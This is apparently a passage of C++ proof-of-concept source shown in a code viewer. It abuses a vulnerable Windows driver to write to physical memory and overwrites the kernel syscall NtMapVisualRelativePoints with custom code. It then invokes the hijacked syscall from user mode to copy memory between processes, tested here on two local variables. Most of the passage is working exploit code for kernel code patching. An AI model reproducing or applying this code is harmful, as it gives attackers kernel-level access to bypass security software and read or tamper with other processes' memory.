| 56 | } |
| 57 | |
| 58 | int main( ) |
| 59 | { |
| 60 | { |
| 61 | // establish a handle to the vulnerable driver, and wrap it using unique_ptr to close the handle when the scope dies |
| 62 | std::unique_ptr< std::remove_pointer_t< HANDLE >, decltype( &vdm::unload_drv ) > driver{ vdm::load_drv( ), &vdm::unload_drv }; |
| 63 | |
| 64 | // the actual vdm instance |
| 65 | vdm::vdm_ctx vdm{}; |
| 66 | |
| 67 | // the function that will be overwritten |
| 68 | const auto function = get_w32_export( "NtMapVisualRelativePoints" ); |
| 69 | |
| 70 | // obtain the physical address of the function |
| 71 | using mm_get_physical_address_t = PHYSICAL_ADDRESS( * )( void* ); |
| 72 | const auto physical_address = vdm.syscall< mm_get_physical_address_t >( get_ntk_export( "MmGetPhysicalAddress" ), function ); |
| 73 | |
| 74 | // map the function |
| 75 | vdm::write_phys( reinterpret_cast< void* >( physical_address.QuadPart ), &mapped, 0x1D1 ); |
| 76 | } |
| 77 | |
| 78 | // load user32 |
| 79 | std::unique_ptr< std::remove_pointer_t< HMODULE >, decltype( &FreeLibrary ) > user32{ LoadLibraryA( "user32.dll" ), &FreeLibrary }; |
| 80 | |
| 81 | // load win32u |
| 82 | std::unique_ptr< std::remove_pointer_t< HMODULE >, decltype( &FreeLibrary ) > win32u{ LoadLibraryA( "win32u.dll" ), &FreeLibrary }; |
| 83 | |
| 84 | const auto function = GetProcAddress( win32u.get( ), "NtMapVisualRelativePoints" ); |
| 85 | |
| 86 | // test variables |
| 87 | auto test_variable_one = 0xDEAD; |
| 88 | auto test_variable_two = 0xBEEF; |
| 89 | |
| 90 | // initialize the data structure |
| 91 | data_t data |
| 92 | { |
| 93 | .from_pid = GetCurrentProcessId( ), |
| 94 | .to_pid = GetCurrentProcessId( ), |
| 95 | |
| 96 | .from_address = &test_variable_one, |
| 97 | .to_address = &test_variable_two, |
| 98 | |
| 99 | .size = sizeof( int ) |
| 100 | }; |
| 101 | |
| 102 | // test the function |
| 103 | std::printf( "[+] before: %0X\n", test_variable_two ); |
| 104 | std::printf( "[+] result: %i\n", reinterpret_cast< decltype( &mapped ) >( function )( data ) ); |
| 105 | std::printf( "[+] after: %0X\n", test_variable_two ); |
| 106 | |
| 107 | return std::getchar( ); |
| 108 | } |
nothing calls this directly
no test coverage detected